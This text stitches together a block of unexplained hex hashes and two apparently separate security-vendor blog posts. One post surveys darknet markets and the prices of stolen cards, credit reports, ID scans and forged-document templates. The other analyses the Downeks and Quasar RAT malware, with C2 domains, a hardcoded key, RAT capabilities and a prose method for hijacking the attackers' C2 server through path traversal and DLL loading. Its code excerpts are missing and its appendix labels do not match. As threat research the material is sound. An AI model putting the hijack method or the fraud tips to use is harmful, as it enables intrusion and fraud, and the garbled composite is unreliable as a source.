f5ab96680a2f21c1f5a8d68ea563e0dae9576363fc55ee4ef636efb0f96305f4
3793ff12755d90dfd26a955fc0400f59d83bfe0b60f69ccbaba068deb0fcf80b
96e55f5d545c074c4033fbc1cbd2f158e23fe4d9f17bc44a8bc62b9452e7301e
c3e1bf7be1780bf38e61d552379f832c8d1e1ebdb3420237d9374d2c9d9b40c3
c58ab8c4fc460263768452711e9f3e18aa95f41373f965f23c86a7175189d040
02779a9dbb4d79e5f82c6055e509596f9476615a085ef39170c77b64f446b5ad
7dafa710e0cdbfb09ec7e2a12930a14e229478d3fa07337ec568dfc154f1bee2
5a9d754c87c03f39f829cf77323dc8c3e18a581d4b6efff798653f5e0bcf400b
2bf1481d37b2c91ab46676e63ef261fa968ac67a27e9eaff4773202a415d1024
70051995172e84b35b8251786c0c7dd9cd93ee44860e8384376e5491a55ece57
86f630a78192c157ff9fdfc8a3e99de4d61d227154efd19b90f91ad4bf8d5d8c
da2625c72a7d295dfdc731573681f7572443c546dff650ef21df09f16fd78aea
ded4bbe722f2f0a3c123f4221e88a36d6cbbb8c7d5bd84e2a019b82999b90021
7d7cb8b750fd51e73749fc50b93f73bf6242076c0df5702e96f1d29fad3208d2
4c225e8059a6abd6724120733da19b07ba7672e32e3dc58d1cf2d8f3df757feb
5dd97af794eadaa6955ecbec604a43977ae4f5484590d7da6ddcf13c77baaff1
1103fc1fc384ce3caaf4efe98e99cfa9d6ee6c3317572165756bbab6535d9b0f
8a65215c55495de5701a3f644141449d7519c41d61a5921aad4c33074c8b99c2
d7d2fe407f19187fdb699fb2cb118891e82d9cf61e69ea9779028b8ce33ddfee
5a93affe27209627f978c4df1f7285734e8f17597aa404ddc993c340671a4be5
e1fdd18455a4b256616f450af719721596804987a5fed0f8ef8fb0a96ab3b45e
edaccdde124eadfed40f072d4c19b62a787c2efea9a67248efef60df8759602d
13cc6b6c6d77cfd95f6b7e08e279cc6cb7cd149cf99260a4ab1889df30867d97
18cfec8bcfecdfcd1f705ebe0eac73bf9fc37ae23023c40b5145a55960951213
986d86973ce80e22ccf3225b74c9e029abcce5a70c2977e841abdf1a92cf590c
6dc9e636ae0df8adf9ca10aed0b2d730970f5cd08d9689711ce8a0a2b037f1a3
86b53caf1eb03bbbb79d242ad84b47f66a9653781a20734e6616edb7aea6145a
944f0e4c1596ebdd0a2be10909cfa694d0b0ef8c7780ac2cfcbd47783b3412dd
f105d49f51b58d5933fa473fb0ad0ff4defaf99a49f9acc6f4d62ff5140c5f3b
024e1ebab660c8ab023fe17ecd181ad59032094da4f38f5056af0255291c24e0
6af78d42f3bcf34872f6f6de66364d7e8d352cfabe2622c412ddbb1e87886a7c
532a729c6f7587c68e8e69b2e5e93ef980ee310e19f8fd10a611e0e03608bb80
177d447145d70a354521949cd50509efa12f7a2f9fa7735fd98beac8c610de7a
1562995de8d09b7413299362a8f2dbed7c87148177628a247c20fa935fab82a6
1bcb5b03ca5fed28cfdedd995c2721f1d7e384b72e970c861f46acbaf6fdf0a8
effc998acf696bd9a660bfcfebd5c9204b1941ea60ad2897fa11e229b083d6da

Exploring the Cybercrime Underground: Part 4 - Darknet Markets

Introduction

Parts 1, 2 and 3 of our Cybercrime Underground the cybercrime series discussed some of the concepts and definitions around cybercrime, and how cybercriminals collaborate in cybercrime forums in buying and selling malicious tools and services. This latest report in our cybercrime series will provide a glimpse of the darknet markets where cybercriminals buy and sell data which have likely been stolen directly by compromising victim computer systems or by the result of a large database compromise. This blog focuses on explaining what darknet markets are, common payment model used, the type of digital data being bought and sold in the darknet markets and their typical costs. The objective of this blog is not to provide an exhaustive list of all the products and services being sold in the darknet markets but to shed light on how cybercriminals are utilizing the darknet markets to trade with impunity. It is important to understand the impact to the growing number of cybercrime campaigns and how the stolen data is monetized by the cybercriminals due to the demand in specific PII data in the darknet markets.

Many articles and research published by the information security industry discuss how cyber attacks can be broken down in phases which is widely known as the cyber kill-chain model. Darknet markets also play two important roles in the overall attack kill-chain. First these markets allow cybercriminals to purchase tools which are then utilized in specific stages of the kill-chain. For example: Malware creation and exploit tools which are sold in the darknet markets aid cybercriminals during the 'weaponization' and 'exploitation' phase of the kill-chain model respectively. The last phase of the kill-chain model 'Actions on Objectives', specify the objective or goal of an adversary. Second, darknet markets allow cybercriminals to achieve their goal of making monetary profit by selling the data which may have likely been stolen from victim computer systems. It is also worth noting that not all digital data being sold in the darknet markets are gained from the result of successful cyber attacks. Insider data theft can end up in a darknet market as well. Insiders with the knowledge and know-how on sensitive information can aid in creating fake identification products which look authentic. For example a former Australian police officer was arrested in November 2016, for creating and selling fake police IDs, security and maritime passes in a darknet market.

The darknet markets today have increased in numbers as well as the number of users- one of the primary reasons has been the anonymity the darknets provide to the users to perform their illicit and illegal trades as well as the decentralized architecture provided by the Tor network which makes it increasingly difficult for law-enforcements to take actions against darknet markets.

What are Darknet Markets?

Darknet markets are websites which are hosted on the deep-web and can be accessed typically using the Tor network. The products and services which are bought and sold in the darknet markets can range from stolen credit-cards, personal information & ID scans, personal credit reports, operating accounts of online payment systems, email accounts with stolen credentials, counterfeit items, malware & exploit kits, drugs and also weapons, among other illegal products.

Access to Darknet Markets:

Darknet markets are hidden websites which cannot be accessible using regular browsers or search engines as they do not have an actual DNS name. Most darknet markets have a .onion TLD suffix which states that it is a hidden service and can only be reachable by the TOR network. A .onion site consists of 16 alphanumeric characters followed by a .onion TLD. The 16 characters may include letter from 'a to z' and numeric numbers from '1 to 7'. Below is a syntax of a .onion hidden service.

SYNTAX:         [digest].onion

The digest is the base32 encoded value of the first eighty bits of a SHA1 hash of the identity key for a hidden service. Once Tor sees an address in this format it tries to connect to the specified hidden service. Many darknet market users also use a VPN network to add an additional layer of privacy to hide their source.

underground_4_1

 Figure 1   High-level depiction on how darknet markets are accessed using Tor

Payment Model:

The payment process in the darknet markets has followed the process which was used by the “Silk Road”, one of the first and best known darknet markets. Purchases in the darknet markets are typically made using virtual currencies like Bitcoin. An individual who wants to buy a product in the darknet market needs to credit his/her darknet market account with Bitcoins to make purchases in the darknet market. The buyer purchases and moves Bitcoins to the darknet user account used by the buyer and makes the desired purchase. Once the buyer has initiated the purchase, the respective cost of the purchase in Bitcoins from the buyer's account are held in the darknet market's escrow until the order has been completed. Once the purchase order has been completed, the Bitcoins are released to the Seller (Vendor). The figure below shows a flowchart of the payment model being used in darknet markets.

underground_4_2

Figure 2    Payment model of Darknet Markets

Common Types of Data Bought & Sold:

Darknet markets provide many types of illegal products to be sold. This blog will not cover all the product types being available in the darknets but cover some of the most common types of information/ services which are transacted by cybercriminals in the darknet markets. Some of the types which we will discuss in this blog are:

  1. Credit Cards/ CVV numbers
  2. Credit Score Reports
  3. Passport Scans
  4. Driving license Scans
  5. Document scan templates
  6. Compromised account credentials
  7. Malware/ Exploit kit services

Credit Cards:

It is not a surprise to see ‘credit cards’ being sold in the darknet markets as they are further used to commit fraud and are also used by cybercriminals to finance their requirements and make profit. There are multiple ways in which credit cards are stolen – some of which are phishing scams, ATM skimmers and also by people in the industry who have access to customer credit card information. Credit card fraud has been costing the financial industry billions of dollars and due to the high number of credit card frauds, the financial industry may find it overwhelming to investigate every fraud incident and may only tend to focus on cases where the cost of the fraud is very high. The cybercriminals / fraudsters are well aware of this challenge and try to perform their fraud activities by transacting small number of transactions on each card to avoid being detected by anti-fraud systems. The below snap shot was taken from a credit card sales ad at a darknet market where a seller also provides advice on making less amount transactions per card to avoid getting detected.

underground_4_3

Figure 3 Seller advises buyers to make low transactions to avoid detection

The typical cost of credit cards being sold in the darknet markets can range from USD $1 to $25 for each card. The cost is higher if there is a confirmed high balance or if it is a premium card (platinum, business, corporate, gold). Some of the costs can be much higher if they come in a bundle and may also include how-to tutorials on making the most out of the credit cards to conduct fraud.

Figure 4 below shows some of the most recent credit card sales listings on a darknet market.

underground_4_4Figure 4 Credit Card listings on a darknet market

Credit Score:

Stolen identities are in big demand in darknet markets as they allow cybercriminals to conduct fraud using real identities of individuals who could have been victims to phishing/malware attacks or organizations holding PII data of their customers getting breached. Credit Score reports are one of the most highly traded PII (personally identifiable information) in the darknet markets.  A credit score report is an analysis report of the credit worthiness of an individual and the credit score depends on the credit files of a person. Financial organizations use credit score reports to assess a client’s credit history which is used to approve loans. Credit reports are not only used by financial organizations but many others like governments, insurance, and many other organizations which require a credit history to process a request. The price of the credit score lists depends on the score of the report, with the higher score reports going for a higher price. Figure 5 and 6 below shows two examples of credit report listings which are being sold on a darknet market. A credit score of 750+ costs USD $50 in one of the listing and another listing shows a score between 720 and 820 would range between USD $ 49.50 to $100.

underground_4_5

Figure 5 Example credit report listing on a darknet market

underground_4_6

Figure 6 Example credit report listing at a darknet market

Passport / Driving License Scans:

Identity documents like passport and driving license scans are also in high demand as they can be used to commit fraud which can range from opening bank accounts, PayPal accounts, purchasing real estate, and perform any other transactions which may require a scanned copy of a passport or a driver’s license for verification. Many developed nations have a robust digital architecture with public services being available online where such scanned copies can be used to process and transact services by using real identities which are being sold in the darknet markets, further fuelling the opportunities to commit fraud. Even developing nations are not immune to these threats- Nations like India are investing heavily in transforming its digital architecture to provide public services electronically and encourage citizens to use the internet and the online services being provided. Given Personal Identifiable Information (PII) data are used in many such services, these type of information are in demand in the darknet markets as they can be used to conduct multiple types of fraud.

underground_4_7

underground_4_8

Figure 7 Listings showing passport and ID scans of India and UK being sold on a darknet market

Document Scan Templates:

Another type of listing which is quite regular in the darknet markets include but are not limited to templates of passports, driving licenses, SSNs, bank statements, utility bills, credit cards, tax statements and invoice receipts of different vendors. Figure 8 is an example of a sample of an Australian passport template which has the same passport ID details but has different photos of individuals. The seller of the below template also shares that any details in the passport including the photograph can be changed and it would still look legitimate. The seller provides full editable versions of the template in .psd format which is an Adobe Photoshop document format. The seller also provides download links to cracked versions of Adobe Photoshop so the buyers can use the .psd files without needing to buy a licensed copy of the software. Each .psd template sold can cost between USD $20 to $100.  However, many listings have these templates being sold in bundles as well- For example a list of 9 templates for Canadian documents consisting of passport scans, bank statements, invoice documents and utility bills is selling on a discounted price of USD $387 where the original price would have exceeded $500 if bought separately.

underground_4_9

Figure 8 Scanned templates of Australian passports being listed at a darknet market

Compromised Account Credentials:

Credentials of many online services which include banking, telco, social media networks and many more are being listen in the darknet markets. Figure 9 shows some of the listings of compromised accounts being sold at a darknet market.

underground_4_10

Figure 9 Compromised credentials being sold at a darknet market.

Malware / Exploit Kit Services:

There are many types of malicious tools and services being sold in the darknet markets, some of which we have already shared in part 2 of our cybercrime underground series. Figure 10 below shows a listing on a darknet market for a Ransomware and BTC stealer setup service where a seller provides the tools and also configures it for the buyer.

underground_4_11

Figure 10 Ransomware service being listed on a darknet market

Impact:

The global cost of cybercrime has been on an alarming rise with the estimated loss to be in billions of dollars, with some reports indicating that the overall loss could be in trillions. A large portion of this cost can be attributed to the fraud conducted due to stolen PII data, some of which we have covered in this blog. For example- In Asia, Australia has been impacted the most due to identity crimes with an estimated loss of AUD $2.2 billion annually. The Australian Federal Police also mention that identity crime has been a key enabler to 'organised crime' which in turn has been costing Australia AUD $15 billion dollars annually. This really shows the vast impact nations and organizations are facing due to the identity and PII information being stolen, bought, and sold in the darknet markets.

Conclusion:

Darknet markets have allowed cybercriminals, fraudsters and criminals who trade in weapons, drugs and illegal products to trade without much concern of getting caught due to the anonymity provided by the deep-web. Though it may be difficult to identify the perpetrators who are managing or using the darknet markets for their profit, global law-enforcement agencies are continuously working to bring the criminals behind the darknet markets to justice and the number of successful cases has been growing where many criminals behind the darknet markets have been arrested. Large percentage of internet and online service users are often unaware of the threats in the digital world and tend to not follow common online safety measures to secure their personal information or their systems, which eventually result in their personal data being stolen and traded in darknet markets, where the information are further used to commit fraud. It is imperative to have an understanding on how these criminals operate and the type of information being traded to better secure ourselves.

Organisations should follow industry standards on securing data and implement security technologies to prevent cyber attacks and reduce the risk of data being stolen and traded in the darknet markets. Palo Alto Networks Next-Generation security platform provides a holistic solution to protect the digital way of life by safely enabling applications and preventing known and unknown threats across the network, cloud and endpoints. For more information on the next-generation security platform visit here.

References:

  1. http://blog.paloaltonetworks.com/2016/08/unit42-exploring-the-cybercrime-underground-part-1-an-introduction/
  2. https://en.wikipedia.org/wiki/Silk_Road_(marketplace)
  3. https://en.wikipedia.org/wiki/Darknet_market#/media/File:Marketlifetimes.png
  4. https://gitweb.torproject.org/torspec.git/tree/address-spec.txt
  5. https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf
  6. https://en.wikipedia.org/wiki/Credit_score
  7. http://digitalindia.gov.in/content/about-programme
  8. https://www.deepdotweb.com/tag/arrested/
  9. https://www.ag.gov.au/RightsAndProtections/IdentitySecurity/Pages/Trends-in-Identity-Crime.aspx
  10. http://cybersecurityventures.com/hackerpocalypse-cybercrime-report-2016/
  11. https://www.juniperresearch.com/press/press-releases/cybercrime-cost-businesses-over-2trillion
  12. https://www.afp.gov.au/what-we-do/crime-types/fraud/identity-crime
  13. http://www.abs.gov.au/ausstats/abs@.nsf/mf/4528.0/
  14. https://www.ag.gov.au/RightsAndProtections/IdentitySecurity/Documents/Identity-crime-and-misuse-in-Australia-2016.pdf
  15. http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf
  16. https://www.paloaltonetworks.com/products/designing-for-prevention/security-platform

Downeks and Quasar RAT Used in Recent Targeted Attacks Against Governments

Palo Alto Networks Traps Advanced Endpoint Protection recently prevented recent attacks that we believe are part of a campaign linked to DustySky. DustySky is a campaign which others have attributed to the Gaza Cybergang group, a group that targets government interests in the region.

This report shares our researchers’ analysis of the attack and Remote Access Tool (RAT). We also discovered during our research that the RAT Server used by this attacker is itself vulnerable to remote attack, a double-edged sword for these attackers.

Attack

The initial infection vector in this attack is not clear, but it results in installing the “Downeks” downloader, which in turn infects the victim computer with the “Quasar” RAT.

Downeks uses third party websites to determine the external IP of the victim machine, possibly to determine victim location with GeoIP. It also drops decoy documents in an attempt to camouflage the attack.

Quasar is a .NET Framework-based open-source RAT. The attackers invested significant effort in attempting to hide the tool by changing the source code of the RAT and the RAT server, and by using an obfuscator and packer.

Detection

Unit 42 researchers observed the Quasar RAT being prevented from executing on a Traps-protected client in September 2016. We observed these Quasar samples:

File Name:  f-secure.exe
SHA256: 99a7cb43fb2898810956b6137d803c8f97651e23f9f13e91887f188749bd5e8f
Note: connects to hnoor.newphoneapp[.]com

File Name:  HD_Audio.exe
SHA256: 0c4aa50c95c990d5c5c55345626155b87625986881a2c066ce032af6871c426a
Note: connects to manual.newphoneapp[.]com

File Name: HD_Audio.exe
SHA256: 86bd78b4c8c94c046d927fb29ae0b944bf2a8513a378b51b3977b77e59a52806
Note:  crashes upon execution

File Name: sim.exe
SHA256: 723108103ccb4c166ad9cdff350de6a898489f1dac7eeab23c52cd48b9256a42
Note: connects to hnoor.newphoneapp[.]com

Further research found other Quasar examples, an attack earlier in the month 2016 on the same target:

SHA256: 1ac624aaf6bbc2e3b966182888411f92797bd30b6fcce9f8a97648e64f13506f

We found the same Quasar code in an additional attack on the same day, but upon a different target. A second Quasar sample was also observed attacking this new victim:

SHA256: 99a7cb43fb2898810956b6137d803c8f97651e23f9f13e91887f188749bd5e8f

We do not have detailed visibility into the specific host attacked, and have not been able to reproduce the second stage of the attack in our lab. However, based upon the timeframe of subsequent telemetry we observe, we understand the attack chain as follows:

  1. The initial dropper (which varies across attacks) is delivered to the victim via email or web:

File Name: Joint Ministerial Council between the GCC and the EU Council.exe"
SHA256: 0d235478ae9cc87b7b907181ccd151b618d74955716ba2dbc40a74dc1cdfc4aa

  1. The initial dropper, upon execution, extracts an embedded Downeks instance:

File Name: ati.exe
SHA256: f19bc664558177b7269f52edcec74ecdb38ed2ab9e706b68d9cbb3a53c243dec

  1. Downeks makes a POST request to dw.downloadtesting[.]com, resulting in the installation of the Quasar RAT on the victim machine.
  2. Additional Downeks downloaders connecting to the previously-observed server dw.downloadtesting[.]com were also found in this attack:

SHA256: 15abd32342e87455b73f1e2ecf9ab10331600eb4eae54e1dfc25ba2f9d8c2e8a

SHA256: 9a8d73cb7069832b9523c55224ae4153ea529ecc50392fef59da5b5d1db1c740

Further research identified dozens of Dowenks and Quasar samples related to these attackers. All included decoy documents written in Arabic (all related to Middle Eastern politics) or Hebrew. Most of them use the same mutex structure, share the same fake icon and unique metadata details, file writes, registry operations, and fake common program metadata, as seen in DustySky samples.

The Downeks downloader and Quasar C2 infrastructures are each self-contained and independent of each other. However, we did find a single shared IP address demonstrably connecting the Downeks downloader and Quasar C2 infrastructure s. The below chart (Figure 1) shows Quasar infrastructure (top), Downeks (bottom), and the shared IP link.

quasar_1

Figure 1- Quasar and Downeks

Charting the samples and infrastructure clearly shows the separate Downeks campaigns, and infrastructure links (Figure 2):

quasar_2

Figure 2- Infrastructure Patterns and Connections

In Figure 2, top-right (green) has the Quasar infrastructure (Figure 3), with a link to the Downeks infrastructure. Left (yellow) is DustySky infrastructure (Figure 4) and the links to this Downeks campaign. As well as similarities in the code, decoys and targets, we also identified C2 infrastructure links between DustySky and this campaign. The remainder is sub-campaigns of Downeks samples, their infrastructure, their links – and a favored ISP (center) (Figure 5).

fig3-5

The timing of the attacks is commensurate with the Middle-Eastern working week (Figure 6):

fig6

Figure 6- Attacks by day-of-the-week

The sample build days-of-the-week follow an almost identical pattern (Figure 7):

fig7

Figure 7- Builds by day-of-the-week

We saw five samples built on the same date in December 2015, and six on the same date in January, further solidifying the link between each sample.

Quasar

We analyzed a Quasar sample we found that was communicating with an active C2 server at the time of analysis:

SHA256: 4393ff391396cdfd229517dd98aa7faecad04da479fe8ca322f035ceee363273

Quasar is a publicly-available commodity RAT, an evolution of his earlier xRAT, by German developer “MaxXor”. This sample is a modified version of Quasar, most likely forked from open source version 1.2.0.0 on GitHub. The client was likely built using the Quasar server client builder. We observed the following customizations:

C2 server:

app.progsupdate[.]com, which resolved to 185.141.25[.]68), over port 4664.

Quasar mutex name:

VMFvdCsC7RFqerZinfV0sxJFo

Keylogger log location:

Users\hJTQwqwwSCkZU\AppData\Roaming\GoogleDesktop\<date>

The malware uses fake version information to appear as a Microsoft update program, as well as Google Desktop once unpacked.

quasar_8

Packer

This sample is packed by “Netz”, a simple .NET Framework packer which stores the original executable compressed (zlib) as a resource. At runtime, the packer decompresses the resource and uses Reflection to load the assembly, find its Entry point, and Invoke it. Extracting the payload is straight forward – we simply dump the resource and decompress it. After decompilation, the packer looks like this:

Find the resource and call InvokeApp:

Get the assembly object by decompressing the resource and loading it with Reflection:

And finally, find the entry point and invoke it:

Extracting produces:

SHA256: c931de65d9655a772d23e4227a627a1140d8d3c4912ca71c324421b13efa1a02

quasar_9

This layer uses obfuscation in an attempt to avoid detection/analysis.

Obfuscation

We discovered that the sample was obfuscated using .NET reactor. It is possible to decompile the deobfuscated sample and retrieve most of the original source code but not enough to compile it easily.

After deobfuscation we extracted:

SHA256: d773b12894d4a0ffb0df328e7e1aa4a7112455e88945a10471650e503eecdb3d

quasar_10

Quasar Code

After decompiling the sample, we were able to document the modifications from the open-source Quasar.

Settings

The configuration of Quasar is stored in the Settings object, which is encrypted with a password which is itself stored unencrypted.

Modifications:

  • The ISCHECKIP and INSTARTUPFOLDER are not found in open source Quasar samples.

Cryptography

The sample we analyzed is using RijndaelManaged with ECB mode and PKCS7 padding. The key is the SHA256 hash of the hard-coded password. The password of the sample we analyzed is:

“6y7u^Y&U6y7u^Y&U6y7u^Y&U”

Although at first glance this appears somewhat complex, it is in fact a rather simple, repeated keyboard sequence. We observe similar keyboard patterns in other samples: “567%^&”, “zxc!@#ASD”.

Modifications:

  • Uses SHA256 instead of MD5 to create the key.
  • Uses RijndaelManaged instead of AES for encryption. (with ECB mode, which is considered weak).

Serialization

Quasar contains the NetSerializer library that handles serialization of high level IPacket objects that the client and server use to communicate. The serialization assigns unique IDs for serializable objects types. The open source and several other samples we found give a dynamically-assigned 1 byte ID at compile time. The sample we analyzed changed that behavior and hard-coded DWORD for each object type. This is a better implementation, as it allows servers and clients from different versions to communicate with each other to some extent.

Version

The sample we analyzed is most likely forked from open source quasar 1.2.0.0. We find multiple file/object names hinting at the version, but must compelling:

  • Quasar version 1.1.0.0 names the encryption module name space "Encryption", while subsequent Quasar versions use "Cryptography" – which we observe in this sample.
  • Quasar version 1.3.0.0 changed the encryption key generation, and stopped saving the password in the sample. There are more indications as well, such as names of objects, files etc.

Other samples we analyzed had different combinations of modification to cryptography and serialization.

The C2 server

Our decompilation of the serialization library was not complete enough to allow simple recompilation. Instead, we downloaded and compiled the 1.2.0.0 server of the open-source Quasar RAT, having determined that this seemed likely the most similar version. The out-of-the-box server could not communicate with the client sample owing to the previously documented modifications that we had observed. We incorporated those changes into our build, discovering that this worked for most sample versions with almost no further modification.

Both the client and the server use the same code to serialize and encrypt the communications. Instead of compiling a different server for each client, our server uses the code from within the client to communicate with it. Using Reflection, the server can load the assembly of the client to find the relevant functions and passwords.

Load the client assembly:

Encryption:

Rather straight forward, as the server version uses the same API as the sample client.

Get the AES class:

Getting the setDefKey, encrypt and decrypt methods:

Replace the server functions:

with

with

with

Serialization:

This was more complex. Both the client and server uses the same API, but the client serializer cannot serialize server objects, because they are not the same as their "mirrored" objects inside the client. In some cases these objects are completely different, for example the server commands to get the file system.

Our solution is to:

  1. Translate on the fly the objects the server send to mirrored matching client objects (will not work if client doesn’t have this object, or renamed it).
  2. Copy the content from the server object into the new client object (will not work if client implementation is different).
  3. Serialize the client object (which will be later encrypted and sent).
  4. Deserialize the decrypted response into another client response object.
  5. Translate the client response object into the server version of the client response object.
  6. Copy the contents from the client response object into the translated server object.
  7. Return the translated object.

Communication

Our sample communicates with app.progsupdate[.]com, which resolved to 185.141.25[.]68, over TCP port 4664.

Architecture

This is the communication architecture between quasar client and server (Figure 8):

quasar_11

Figure 8- Communication Architecture

  1. The server sends a command. for example, “Get System Information”.
  2. The command is translated to an IPacket of type GetSystemInfo.
  3. The packet is serialized into a stream of bytes.
  4. The stream of bytes is encrypted (in some versions there is also optional compression step).
  5. The stream of bytes is sent over TCP to the client.
  6. The client receives and decrypts the packet.
  7. The client deserializes the packet into IPacket GetSystemInfo.
  8. The relevant handler of the client is called, collects the system information and sends it back inside IPacket of GetSystemInfoResponse.

Each of these layers seems to be different to some extent in the various samples we found. The IPacket, Serialization and Encryption framework code is shared between the client and the server, therefore we can use it with Reflection. However the Server handlers and command function are not, so we cannot create a completely perfect simulation.

Initial handshake

After the TCP handshake completes, the server starts another handshake with the client by sending packets in the following order (Figure 9):

quasar_12

Figure 9- Initial Handshake

The client returns data to the server about the victim computer, which is displayed in the server GUI (Figure 10):

quasar_13

Figure 10- Quasar RAT Server GUI

The server and client then enter into a keep-alive mode, where the attacker can send commands to the client and receive further responses.

RAT commands

The attacker can issue commands (not all commands appear in different samples) through the Quasar server GUI for each client:

  • Get system information
  • Get file system
  • Upload / download / execute files
  • Startup manager
  • Open task manager
  • Kill / start processes
  • Edit registry
  • Reverse Proxy
  • Shutdown / restart the computer
  • Open remote desktop connection
  • Observe the desktop and actions of active user
  • Issue remote mouse clicks and keyboard strokes
  • Password stealing
  • Retrieve Keylogger logs
  • Visit website
  • Display a message box

Our server build was able to successfully execute most of the commands.

The file system commands underling handlers and IPacket were modified to support more features, so these commands don’t work out of the box and required manual implementation from us.

A Double-Edged Sword…

With further analysis of the Quasar RAT C2 Server, we uncovered vulnerabilities in the server code, which would allow remote code execution. This might allow a second attacker to install code of their choice – for example, their own Quasar RAT – on the original attacker’s server. We refer to this (somewhat ironic) technique as a “Double Edged Sword Attack”. We did not apply this to any live C2 servers – we only tested this with our own servers in our lab.

In the lab, we changed our Quasar RAT source code to use the known encryption key, and to send fake victim IP address, City, Country code, Flag, and Username. The Quasar server does not verify the RAT data, and displays this data in the RAT Server GUI when the RAT is executed and connects to the server. We found this could be used to supply compelling “victim data” to convince the attacker to connect to this “victim” via the GUI.

Quasar server includes a File Manager window, allowing the attacker to select victim files, and trigger file operations – for example, uploading a file from victim machine to server. Uploaded files are written to the server sub directory “clients\user_name@machine_name_ipaddress”.

Quasar server does not verify that the size, filename, extension, or header of the uploaded file is the same as requested. Therefore, if we convince the attacker to request the file “secret_info.doc (20KB)”, we can instead return to the server any file of our choice, of any size or type.

When the Quasar server retrieves the name of the uploaded file from the victim, it does not verify that it is a valid file path. Therefore sending the file path "..\..\ secret_info.doc " will result in writing our file instead to the same directory as the Quasar server code.

Quasar server does not even verify that a file was requested from the victim. Immediately when the File Manager window is opened by the attacker, the Quasar server sends two commands to the RAT: GetDrives and listDirectory (to populate the list of the victim’s files in the RAT Server GUI). We can respond to those commands by instead sending two files of our choice to the Quasar server. Again, we control the content of the file, the size and the path and filename.

Quasar is a .NET Framework assembly, loading multiple DLLs upon launch, for example “dnsapi.dll”. Quasar server is vulnerable to a simple DLL hijacking attack, by using this technique to replace server DLLs.

When the attacker restarts the Quasar application, our uploaded “dnsapi.dll” will instead be loaded. Through this vector, we could drop our own Quasar client on the attacker’s server and execute it. Our Quasar RAT will connect to our own (secured, of course) Quasar server, allowing us to control that attacker’s server with his own RAT. We can also replace “shfolder.dll” (and add a DLL export proxy to avoid a crash), which is loaded whenever the attacker clicks the builder tab – allowing us to infect the server while it runs, without the need to wait for application restart.

Downeks

Although Downeks has been publicly examined to some extent, our analysis found several features not previously described.

Earlier Downeks samples were all written in native code. However, among our Downeks samples, we found new versions apparently written in .NET. We observe many behavioral similarities and unique strings across both the native-Downeks versions, and the new .NET Downeks versions. Almost all of the strings and behaviors we describe in this analysis of a .NET version are also present in the native version.

We observed these samples deployed only against Hebrew-speaking targets.

Downeks.NET – “SharpDownloader”

Downeks .NET internal name is “SharpDownloader”, “Sharp” may be a reference to the language it was written in – C#.

As seen in previous Downeks versions, it uses masquerades with icons, filenames and metadata imitating popular legitimate applications such as VMware workstation (Figure 1) and CCleaner, or common file formats such as DOC and PDF.

quasar_14

Figure 11 - Application metadata masquerading as VMWare Workstation

All 3 samples were compiled with the same timestamp. Downeks.NET is obfuscated using “Yano” and can be easily de-obfuscated using the de4dot utility.

SHA256: 4dcf5bd2c7a5822831d9f22f46bd2369c4c9df17cc99eb29975b5e8ae7e88606
SHA256: 905f6a62749ca6f0fd33345d6a8b1831d87e9fd1f81a59cd3add82643b367693
SHA256: c885f09b10feb88d7d176fe1a01ed8b480deb42324d2bb825e96fe1408e2a35f

Communication

Downeks is a backdoor with only very basic capabilities. It communicates with the C2 server using HTTP POST requests.

It runs in an infinite loop, in each iteration it requests a command from the C2, and then it sleeps for a time period it receives in the C2 response (defaulting to 1 second if no sleep-time sent).

The data that is sent in the POST is serialized with json, which is then is encrypted, and finally encoded in base64. The json format is typically {“mth”:”some_method”, “data”:”some_encrypted_data”}. The C2 server responds using the same format and serialization/encryption/encoding.

Download and Execute

As described in earlier analyses, Downeks’ main purpose is as a downloader. Unfortunately, we were unable to get any C2 servers to issue download commands to any samples that we tested in our lab.

The download is initiated upon receiving json with a “download” command, which includes the URL of the file to be downloaded. Downeks can also be instructed to execute binaries that already exist on the victim machine. After successful execution, Downeks returns the results to the C2 server.

Downeks also has a self-update capability, if instructed by the C2.

Screen Capture

Downeks can be instructed with the “img” command to capture the victim screen and transmit it back to the C2. The parameters “wth” and “qlt” specify “width” and “quality”.

Appdata

Downeks .NET creates a file in the “Appdata” directory, based on certain properties of the machine. During our analysis, Downeks created a file in “Appdata\Roaming” containing only “SD{new line} 0” (“SD” possibly for “SharpDownloader”).

Although this file itself is not particularly interesting, the older (native) Downeks versions also creates a file in Appdata\Roaming, with identical data.

The filenames across the two variants bear striking similarities. The .NET variant creates “1FABFBFF0000065132F71D94”, while the native version creates “000206511FABFBFF”. We observed the string “1FABFBFF0000065132F71D94” in memory during debugging of the native variant (Figure 12). This is a pseudo-unique ID for each machine, based on install date taken from the registry, volume serial number, OS version and service pack, Processor architecture, and computer name.

quasar_15

Figure 12 - Machine ID in memory

Installed Antivirus check

Downeks enumerates any antivirus products installed on the victim machine and transmits the list to the C2. It constructs this list using the WMI query:

“SELECT displayName FROM AntivirusProduct”

Persistence

Downeks achieves host persistence through either the registry “run” key or with a shortcut in the start-up folder.

External IP

In another similarity between both variants, Dowenks assesses the victim’s external IP using an HTTP request to http://www.myexternalip.com/raw.

Other commands

Downeks can be instructed by the C2 to perform a few other commands:

  • Check if the computer name and user name, or external IP address, is in a provided list and if so, display a message box with a message as defined by the C2.
  • Kill any running process and attempt to delete the associated executable.
  • “Setup” command – sends various info about the machine with each iteration of the C2 communications loop.

Encryption keys

Downeks has static encryption keys hardcoded in the code. These keys are initialized in the “Defaults” class constructor, suggesting that the author of this malware has great affection for stackoverflow:

Typos

We observed some typos in the code, such as “responce” ( “response”) and “GroubID” (“GroupID”) in this version.

Coverage & IoCs

Palo Alto Networks customers are protected from Downeks and Quasar used in this attack:

  • WildFire properly classifies these Downeks and Quasar samples as malicious.
  • Traps detects and blocks malicious behavior exhibited by new, unknown Quasar samples.
  • C2 servers associated with this activity are blocked through Threat Prevention DNS signatures.
  • AutoFocus customers can monitor this activity using the Downeks and QuasarRAT tags.

A list of Indicators of Compromise can be found in Appendix C - IoCs.

Appendix A - IoCs

C2 Domains

downloadtesting.com
gameoolines.com
onlinesoft.space
newphoneapp.com
gamestoplay.bid
smartsftp.pw
galaxysupdates.com
galaxy-s.com
datasamsung.com
progsupdate.com
topgamse.com
bandtester.com
speedbind.com
ukgames.tech
wallanews.publicvm.com
wallanews.sytes.net
noredirecto.redirectme.net
dynamicipaddress.linkpc.net
downloadlog.linkpc.net
havan.qhigh.com
kolabdown.sytes.net
rotter2.publicvm.com
ftpserverit.otzo.com
webfile.myq-see.com
downloadmyhost.zapto.org
help2014.linkpc.net
safara.sytes.net
exportball.servegame.org
viewnet.better-than.tv
